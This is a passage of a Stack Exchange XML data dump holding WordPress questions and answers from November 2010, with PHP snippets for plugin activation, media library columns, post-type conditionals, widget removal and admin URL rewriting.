CommunityOwnedDate="2010-11-14T14:19:23.373" />
  <row Id="4050" PostTypeId="2" ParentId="4041" CreationDate="2010-11-14T15:40:07.643" Score="7" ViewCount="" Body="&lt;p&gt;This is how I did it in some web apps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function run_activate_plugin( $plugin ) {&#xA;    $current = get_option( 'active_plugins' );&#xA;    $plugin = plugin_basename( trim( $plugin ) );&#xA;&#xA;    if ( !in_array( $plugin, $current ) ) {&#xA;        $current[] = $plugin;&#xA;        sort( $current );&#xA;        do_action( 'activate_plugin', trim( $plugin ) );&#xA;        update_option( 'active_plugins', $current );&#xA;        do_action( 'activate_' . trim( $plugin ) );&#xA;        do_action( 'activated_plugin', trim( $plugin) );&#xA;    }&#xA;&#xA;    return null;&#xA;}&#xA;run_activate_plugin( 'akismet/akismet.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-14T15:40:07.643" CommentCount="3" />
  <row Id="4051" PostTypeId="2" ParentId="1567" CreationDate="2010-11-14T15:57:56.620" Score="5" ViewCount="" Body="&lt;h2&gt;New Media Library Column to Re-Attach Images&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This code adds a new column to the Media Library Page allowing you to re-attach images&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(&quot;manage_upload_columns&quot;, 'upload_columns');&#xA;add_action(&quot;manage_media_custom_column&quot;, 'media_custom_columns', 0, 2);&#xA;&#xA;function upload_columns($columns) {&#xA;    unset($columns['parent']);&#xA;    $columns['better_parent'] = &quot;Parent&quot;;&#xA;    return $columns;&#xA;}&#xA;function media_custom_columns($column_name, $id) {&#xA;    $post = get_post($id);&#xA;    if($column_name != 'better_parent')&#xA;        return;&#xA;        if ( $post-&amp;gt;post_parent &amp;gt; 0 ) {&#xA;            if ( get_post($post-&amp;gt;post_parent) ) {&#xA;                $title =_draft_or_post_title($post-&amp;gt;post_parent);&#xA;            }&#xA;            ?&amp;gt;&#xA;            &amp;lt;strong&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_edit_post_link( $post-&amp;gt;post_parent ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;, &amp;lt;?php echo get_the_time(__('Y/m/d')); ?&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;a class=&quot;hide-if-no-js&quot; onclick=&quot;findPosts.open('media[]','&amp;lt;?php echo $post-&amp;gt;ID ?&amp;gt;');return false;&quot; href=&quot;#the-list&quot;&amp;gt;&amp;lt;?php _e('Re-Attach'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php&#xA;        } else {&#xA;            ?&amp;gt;&#xA;            &amp;lt;?php _e('(Unattached)'); ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;a class=&quot;hide-if-no-js&quot; onclick=&quot;findPosts.open('media[]','&amp;lt;?php echo $post-&amp;gt;ID ?&amp;gt;');return false;&quot; href=&quot;#the-list&quot;&amp;gt;&amp;lt;?php _e('Attach'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:00:41.557" LastActivityDate="2011-01-26T14:00:41.557" CommunityOwnedDate="2010-11-14T15:57:56.620" />
  <row Id="4052" PostTypeId="1" AcceptedAnswerId="4053" CreationDate="2010-11-14T16:13:34.710" Score="1" ViewCount="263" Body="&lt;p&gt;I have a loop pulling in two different custom post types.  I have that loop showing the thumbnails of posts.  Each post type used to have its own seperate loop and I had set up some png overlays to sit on top of the thumbnails.  I had a play button icon over the thumbnails of the posts in the Video post type, and a stack of pictures icon over the slideshows post type thumbs.  Now that I have combined the two loops I need a conditional statement to determine the post type and apply the appropriate overlay.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have that puts the play button over every thumb.  How do I change this to a conditional that would apply the btn-play.png over video thumbs and &lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/btn-ss.png&quot; class=&quot;play&quot; /&amp;gt;&lt;/code&gt; over slideshow thumbs?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $new = new WP_Query(array ('post_type' =&amp;gt; array('video', 'slideshow'), 'posts_per_page' =&amp;gt; '5')); ?&amp;gt;&#xA;   &amp;lt;?php while ($new-&amp;gt;have_posts()) : $new-&amp;gt;the_post(); ?&amp;gt;&#xA;   &amp;lt;!-- BEGIN .post-container --&amp;gt;&#xA;   &amp;lt;div class=&quot;post-container&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;post-thumb&quot;&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s', 'framework'), get_the_title()); ?&amp;gt;&quot;&amp;gt;&#xA;         &amp;lt;?php if (  (function_exists('has_post_thumbnail')) &amp;amp;&amp;amp; (has_post_thumbnail())  ) { /* if post has post thumbnail */ ?&amp;gt;&#xA;         &amp;lt;?php the_post_thumbnail('thumbnail-ws'); ?&amp;gt;&#xA;         &amp;lt;?php } &#xA;            else { ?&amp;gt;&#xA;         &amp;lt;?php get_the_image( array( 'custom_key' =&amp;gt; array( 'Thumbnail' ), 'width' =&amp;gt; 100 ) ); ?&amp;gt;&#xA;         &amp;lt;?php } &#xA;                ?&amp;gt;&#xA;         &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/btn-play.png&quot; class=&quot;play&quot; /&amp;gt;&amp;lt;span&amp;gt;&#xA;         &amp;lt;?php the_title('&amp;lt;h2&amp;gt;', '&amp;lt;/h2&amp;gt;'); ?&amp;gt;&#xA;         &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;         &amp;lt;/span&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help incorporating this conditional statement would be greatly appreciated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just in case anyone is wondering about my code, which probably isn't optimal: I have two tiers of thumbnails so all the old posts where I hadn't specified a Thumbnail will use Justin Tadlock's &quot;get the image script&quot;.  Also, the weird setup with the span tags is because I have the title and excerpt show on mouseover (with css, no js).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-11-14T16:29:31.113" Title="Conditional PNG Overlay in Custom Post Type Loop Depending on Post Type" Tags="&lt;custom-post-types&gt;&lt;conditional-content&gt;" AnswerCount="1" />
  <row Id="4053" PostTypeId="2" ParentId="4052" CreationDate="2010-11-14T16:29:31.113" Score="2" ViewCount="" Body="&lt;p&gt;You can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'video' == $post-&amp;gt;post_type )&#xA;    $play_button = '/images/btn-play.png';&#xA;elseif( 'slideshow' == $post-&amp;gt;post_type )&#xA;    $play_button = '/images/btn-ss.png';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then render the button with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_bloginfo('template_directory') . $play_button; ?&amp;gt;&quot; class=&quot;play&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-14T16:29:31.113" CommentCount="2" />
  <row Id="4054" PostTypeId="2" ParentId="1567" CreationDate="2010-11-14T17:11:58.817" Score="7" ViewCount="" Body="&lt;h2&gt;Remove Plugin Update Notice ONLY for INACTIVE plugins&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update_active_plugins($value = '') {&#xA;    /*&#xA;    The $value array passed in contains the list of plugins with time&#xA;    marks when the last time the groups was checked for version match&#xA;    The $value-&amp;gt;reponse node contains an array of the items that are&#xA;    out of date. This response node is use by the 'Plugins' menu&#xA;    for example to indicate there are updates. Also on the actual&#xA;    plugins listing to provide the yellow box below a given plugin&#xA;    to indicate action is needed by the user.&#xA;    */&#xA;    if ((isset($value-&amp;gt;response)) &amp;amp;&amp;amp; (count($value-&amp;gt;response))) {&#xA;&#xA;        // Get the list cut current active plugins&#xA;        $active_plugins = get_option('active_plugins');    &#xA;        if ($active_plugins) {&#xA;&#xA;            //  Here we start to compare the $value-&amp;gt;response&#xA;            //  items checking each against the active plugins list.&#xA;            foreach($value-&amp;gt;response as $plugin_idx =&amp;gt; $plugin_item) {&#xA;&#xA;                // If the response item is not an active plugin then remove it.&#xA;                // This will prevent WordPress from indicating the plugin needs update actions.&#xA;                if (!in_array($plugin_idx, $active_plugins))&#xA;                    unset($value-&amp;gt;response[$plugin_idx]);&#xA;            }&#xA;        }&#xA;        else {&#xA;             // If no active plugins then ignore the inactive out of date ones.&#xA;            foreach($value-&amp;gt;response as $plugin_idx =&amp;gt; $plugin_item) {&#xA;                unset($value-&amp;gt;response);&#xA;            }          &#xA;        }&#xA;    }  &#xA;    return $value;&#xA;}&#xA;add_filter('transient_update_plugins', 'update_active_plugins');    // Hook for 2.8.+&#xA;//add_filter( 'option_update_plugins', 'update_active_plugins');    // Hook for 2.7.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:08:52.920" LastActivityDate="2011-01-26T14:08:52.920" CommunityOwnedDate="2010-11-14T17:11:58.817" />
  <row Id="4055" PostTypeId="1" AcceptedAnswerId="4056" CreationDate="2010-11-14T17:43:40.127" Score="2" ViewCount="262" Body="&lt;p&gt;I am working on a script to convert all posts in a given category to use a postmeta flag instead (testing of MySQL has shown me that on a site as large as mine this will lead to a meaningful decrease in query time). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When converting posts I want to just fetch all posts in the category, add the postmeta then remove the category, which will let me just reload that function until there are no more posts in the category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a good function for removing a term from a post though. I want to give it the post id and the term taxonomy+ID and have it handled for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also interested in plugins that can do the conversion for me if anyone knows of one. I couldn't find any that did cat-&gt;postmeta, unlike the opposite which can be handled by Scribu's plugin.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-11-14T18:37:25.403" Title="Best way to programmatically remove a category/term from a post" Tags="&lt;custom-field&gt;&lt;taxonomy&gt;&lt;post-meta&gt;&lt;api&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="4056" PostTypeId="2" ParentId="4055" CreationDate="2010-11-14T18:37:25.403" Score="2" ViewCount="" Body="&lt;p&gt;Hmmm, can't remember or find fitting function either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_set_object_terms()&lt;/code&gt;&lt;/a&gt; that is used in multiple wrappers like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_set_post_categories()&lt;/code&gt;&lt;/a&gt;. It can overwrite categories for a post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can get post categories, check for unwanted one and write it back excluding unwanted in that case.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-14T18:37:25.403" CommentCount="2" />
  <row Id="4057" PostTypeId="2" ParentId="4041" CreationDate="2010-11-14T19:14:18.530" Score="2" ViewCount="" Body="&lt;p&gt;Plugins are stored in an array in the 'active_plugins' option. The array contains the file path to each plugin that is active. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To activate a plugin you need to determine what it's path will be, then pass that path to &lt;code&gt;activate_plugin($plugin_path)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easier said than done though, and (at least in 2.9) the core code does not make it easy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you can activate_plugin() you need to include the plugin.php file from wp-admin/includes/. You should also check to make sure your plugin isn't already active. The result looks something like this (YMMV):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Define the new plugin you want to activate&#xA;$plugin_path = '/path/to/your/new/plugin.php';&#xA;// Get already-active plugins   &#xA;$active_plugins = get_option('active_plugins');&#xA;// Make sure your plugin isn't active&#xA;if (isset($active_plugins[$plugin_path]))&#xA;    return;&#xA;&#xA;// Include the plugin.php file so you have access to the activate_plugin() function&#xA;require_once(ABSPATH .'/wp-admin/includes/plugin.php');&#xA;// Activate your plugin&#xA;activate_plugin($plugin_path);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this on production in WP 2.9 and have not had any major issues but in my testing it had very unexpected results with WPMU, so beware using this on network installs.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-11-14T19:14:18.530" />
  <row Id="4058" PostTypeId="2" ParentId="1567" CreationDate="2010-11-14T19:53:13.423" Score="2" ViewCount="" Body="&lt;h2&gt;Display Posts from Different Custom Post Types on homepage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By dropping the following code on the bottom of this post into your functions.php file you can get wordpress to automatically display posts from different custom post types you have created. Currently by default wordpress only display posts which belong to the default &quot;posts&quot; post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example provided below you will need to change the section which calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;set( 'post_type', array('post', 'page', 'services', 'attachment'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With your own custom post types which you would like to include in the homepage post list results. In this case we are asking wordpress to return to us all posts belonging to the default &quot;post&quot; and &quot;page&quot; post_type then asking wordpress to also include the custom post type we created for &quot;services&quot; and finally the default wordpress post type of &quot;attachment&quot; which just means that anytime something is added to the media library it will automatically get displayed on the homepage as a separate entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM HOMEPAGE POST LIST INCLUDING DIFFERENT POST_TYPES&#xA;// make sure to edit the post types you wanted included in the list below&#xA;add_filter( 'pre_get_posts', 'my_homepage_post_list' );&#xA;function my_homepage_post_list ( $query ) {&#xA;    if ( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )&#xA;        $query-&amp;gt;set( 'post_type', array('post', 'page', 'services', 'attachment'));&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also utilize this custom query in different locations, such as in a custom feed through something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] ) || is_feed())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:49:34.003" LastActivityDate="2011-01-26T13:49:34.003" CommunityOwnedDate="2010-11-14T19:53:13.423" />
  <row Id="4059" PostTypeId="2" ParentId="4018" CreationDate="2010-11-14T20:15:42.107" Score="1" ViewCount="" Body="&lt;p&gt;This plugin adds many useful (and some less useful) to TinyMCE, table editor among them:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also gives you full control over what buttons are shown and where in the editor, so it might be good to install it in any case.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-11-14T20:15:42.107" CommentCount="1" />
  <row Id="4060" PostTypeId="2" ParentId="4018" CreationDate="2010-11-14T21:07:06.977" Score="1" ViewCount="" Body="&lt;p&gt;My &lt;a href=&quot;https://github.com/toscho/WordPress-Shortcodes&quot; rel=&quot;nofollow&quot;&gt;shortcode plugin&lt;/a&gt; supports simple tables. You write them straight into the post editor, not into a meta box. Depending on your needs this may be good enough.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-14T21:07:06.977" />
  <row Id="4061" PostTypeId="2" ParentId="106" CreationDate="2010-11-14T21:09:02.577" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/stealth-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/stealth-login/&lt;/a&gt; this may help you out.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-14T21:09:02.577" CommentCount="3" />
  <row Id="4062" PostTypeId="2" ParentId="2100" CreationDate="2010-11-14T21:55:50.603" Score="0" ViewCount="" Body="&lt;p&gt;As soon as you touch the topic of doing changes in parallel you touch the area of configuration management. With lots of patterns, own communities (http://www.cmcrossroads.com/) and tools not so much for version management (as svn/git) but for support of configuration management (patterns) like clearcase. (totally different areas).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case it is still a simple situation and you will find it to work with some limitations and some manual work and some lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario I am thinking of to make it more descriptive of the ideal solution: multiple developers working on the same codebase, multiple test environments, multiple acceptance environments, multiple production acceptance environments possibly in all corners of the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would want to do this a little bit more professional:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) write down a list of all Configuration Items you encounter, this could be the WordPress code itself, plugins from externals, content, metadata and decide which ones of these you want to bring under some kind of &quot;management&quot;, which ones matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) describe the workflows that can happen e.g. what happens with a fix, what happens with something new being development, in what case do you change content on your side, what is that called, and who does it, who is the owner of it e.g. a new post or a new plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) for parallel working first describe which CI's you want to manage, decide if the flow is always from development to production or if it is really needed to do all of it two ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d) for each of the CI types under (a) write a resolution. E.g. for ALL that is text ( or exported text like php files but ALSO plain text in XML files) merging is possible. This is really no problem but you need a good merge tool.&#xA;e.g. With ClearCase you would get in a 3 way merge the following situations:&#xA; 1) trivial merges: it will do these automatically&#xA; 2) non trivial automatic: it will do these automatically BUT you need to check it&#xA; 3) non trivial non automatic: this is a conflict e.g. on 1 line several changes have been made.&#xA;The non trivials are the minimal part that you need to care of manually, a good merging tool will lead you in this e.g. the one in clearcase (which also does word merging and where you can link in other commercial or non commercial mergers for specific file types).&#xA;Furtermore if you have identified under (a) files that should be copied-only then their behaviour would be to not be merged but just be copied one way overwriting the other version without a merge (e.g. plugins that you have not modified). Many of these types are possible with different behaviours. But write down relations between CI's,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for the non text based merges you need to make a decision on how to handle them e.g. images that have been changed in 2 places. You could decide here that production always has preference (at least that is what i would think), which makes it simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... to solve this problem you need a version management tool that support different streams. Each stream would represents one part. (this can be immensely complex depending on your needs but in this case I think it is very simple). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you now can manage to have these streams under you WordPress installations and sync them also with the content of the database, etc... then you can perform the merges in the CM / versioning tool and then export it back in the other environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is... you need to write this down first. This is not a technical hack. It is a default pattern around Config Management so nothing strange here also but you need to write it down. You might find e.g. that an installed plugin makes changes in the database with some data that is different in another environment, so you need to have an extra procedure around this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically almost always everything is possible check &lt;a href=&quot;http://www.cmcrossroads.com/forums&quot; rel=&quot;nofollow&quot;&gt;http://www.cmcrossroads.com/forums&lt;/a&gt; for scenario's that are dozens or hundreds of times more complex though always using the same approach and using the same set of CM patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in short: put a version management layer under it, automate the merges and handle the conflicts, then import in target environment. Think up a stream strategy that fits here and write it down. Perform a teeny weeny bit CM management. That would be the professional solution otherwise install some db copy hack, scripts etc...&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-14T22:20:57.207" LastActivityDate="2010-11-14T22:20:57.207" />
  <row Id="4063" PostTypeId="2" ParentId="4037" CreationDate="2010-11-14T22:53:52.520" Score="3" ViewCount="" Body="&lt;p&gt;To answer you question as a apache URL layout configuration via &lt;a href=&quot;http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;mod_rewrite&lt;/a&gt; (the apache module that handles URL rewriting), this could be helpful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^admin/(.*)$ /wp-admin/$1 [QSA,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(untested configuration directive, check the docs in case this does errors)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will basically translate any request to /admin/... into /wp-admin/... .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the only thing you would like to know, I must admit that this is slightly off-topic for worpdress@se as this is acutally a question how to configure the apache webserver. A better place might be &lt;a href=&quot;http://serverfault.com/about&quot;&gt;serverfault&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this only rewrites the URLs that get requested. Wordpress would know nothing about this and it does still output links to /wp-admin/ on the admin then. There is a hook for any admin URL that you might want to rewrite then as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return apply_filters('admin_url', $url, $path, $blog_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would need to replace the &lt;code&gt;domain/wp-admin/&lt;/code&gt; part with &lt;code&gt;domain/admin/&lt;/code&gt; with a filter on your own.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-14T23:23:00.270" LastActivityDate="2010-11-14T23:23:00.270" CommentCount="8" />
  <row Id="4064" PostTypeId="2" ParentId="1027" CreationDate="2010-11-14T22:53:58.657" Score="2" ViewCount="" Body="&lt;p&gt;the reason the .htaccess is not in the zip file is that WordPress' svn does not allow it to be in the zip file... For the message:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Threads&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://wordpress.org/support/topic/db-backup-folder-visible-to-the-public?replies=36#post-1157221&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/db-backup-folder-visible-to-the-public?replies=36#post-1157221&lt;/a&gt; for the thread, for me, back then it was the wrong path. (see also &lt;a href=&quot;http://forums.lesterchan.net/index.php?topic=3714.0&quot; rel=&quot;nofollow&quot;&gt;http://forums.lesterchan.net/index.php?topic=3714.0&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;for Dreamhost:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;How To Fix WP-DBManager WordPress Plug-in Error Message&#xA;Fortunately, the fix is pretty easy.&#xA;Go into the DB Options under Database in your WordPress control panel and change the Path to Backup to NOT include the .directory whatever it is.&#xA;In the example above, delete the /.swami/ part of the path.&#xA;That leaves /home/domain.com/wp-content/backup-db.&#xA;Save the changes and then click on a different plug-in or control panel option and then back on the Database (to get it to re-try and read the file).  The error message should disappear, and more importantly, your backups should be working again.&#xA;You can test if WP-DBManager backups are working by clicking Backup DB which runs a manual backup.&#xA;(http://besthubris.com/computers-internet/fix-wp-dbmanager-error-warning-your-backup-folder-might-be-visible-to-the-public/)&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-14T23:05:17.980" LastActivityDate="2010-11-14T23:05:17.980" />
  <row Id="4065" PostTypeId="2" ParentId="1567" CreationDate="2010-11-14T23:05:16.140" Score="9" ViewCount="" Body="&lt;h2&gt;Unregister WP Default Widgets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// unregister all default WP Widgets&#xA;function unregister_default_wp_widgets() {&#xA;    unregister_widget('WP_Widget_Pages');&#xA;    unregister_widget('WP_Widget_Calendar');&#xA;    unregister_widget('WP_Widget_Archives');&#xA;    unregister_widget('WP_Widget_Links');&#xA;    unregister_widget('WP_Widget_Meta');&#xA;    unregister_widget('WP_Widget_Search');&#xA;    unregister_widget('WP_Widget_Text');&#xA;    unregister_widget('WP_Widget_Categories');&#xA;    unregister_widget('WP_Widget_Recent_Posts');&#xA;    unregister_widget('WP_Widget_Recent_Comments');&#xA;    unregister_widget('WP_Widget_RSS');&#xA;    unregister_widget('WP_Widget_Tag_Cloud');&#xA;}&#xA;add_action('widgets_init', 'unregister_default_wp_widgets', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:34:44.977" LastActivityDate="2011-01-26T14:34:44.977" CommunityOwnedDate="2010-11-14T23:05:16.140" CommentCount="1" />
  <row Id="4066" PostTypeId="2" ParentId="1567" CreationDate="2010-11-14T23:07:46.827" Score="4" ViewCount="" Body="&lt;h2&gt;Add a &quot;Settings&quot; link for plugins on the plugin list page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Set &quot;Settings&quot; link for plugins on plugin-page in WordPress backend, easy to use jump to settings for users (the code is also with an solution for WordPress version smaller 2.9)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// plugin definitions&#xA;define( 'FB_BASENAME', plugin_basename( __FILE__ ) );&#xA;define( 'FB_BASEFOLDER', plugin_basename( dirname( __FILE__ ) ) );&#xA;define( 'FB_FILENAME', str_replace( FB_BASEFOLDER.'/', '', plugin_basename(__FILE__) ) );&#xA;function filter_plugin_meta($links, $file) {&#xA;  /* create link */&#xA;  if ( $file == FB_BASENAME ) {&#xA;    array_unshift(&#xA;      $links,&#xA;      sprintf( '&amp;lt;a href=&quot;options-general.php?page=%s&quot;&amp;gt;%s&amp;lt;/a&amp;gt;', FB_FILENAME, __('Settings') )&#xA;    );&#xA;  }&#xA;  return $links;&#xA;}&#xA;&#xA;global $wp_version;&#xA;if ( version_compare( $wp_version, '2.7alpha', '&amp;gt;' ) ) {&#xA;    add_filter( 'plugin_action_links_' . FB_WM_BASENAME, 'filter_plugin_meta', 10, 2);&#xA;} else {&#xA;    add_filter( 'plugin_action_links', 'filter_plugin_meta', 10, 2 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-02-28T17:23:06.033" LastActivityDate="2011-02-28T17:23:06.033" CommunityOwnedDate="2010-11-14T23:07:46.827" CommentCount="3" />
  <row Id="4067" PostTypeId="2" ParentId="4030" CreationDate="2010-11-14T23:16:52.080" Score="2" ViewCount="" Body="&lt;p&gt;Please see the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-native-dashboard/&quot; rel=&quot;nofollow&quot;&gt;WP Native Dashboard&lt;/a&gt;, this has solutions for use a custom language on backend of WordPress; very fine plugin.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-11-15T23:44:36.573" LastActivityDate="2010-11-15T23:44:36.573" CommentCount="3" />
  <row Id="4068" PostTypeId="2" ParentId="4030" CreationDate="2010-11-14T23:25:47.067" Score="2" ViewCount="" Body="&lt;p&gt;WPLANG effects the whole site not just the admin section, you can use it in conjunction with WPML. It basically sets what language you have translations for but you must include a languages folder inside wp-include with the appropriate .mo and .po files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set WPML to use the default languages directory ( which is set up by defining the language(s) in wp-config as I said above).&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-14T23:25:47.067" CommentCount="1" />
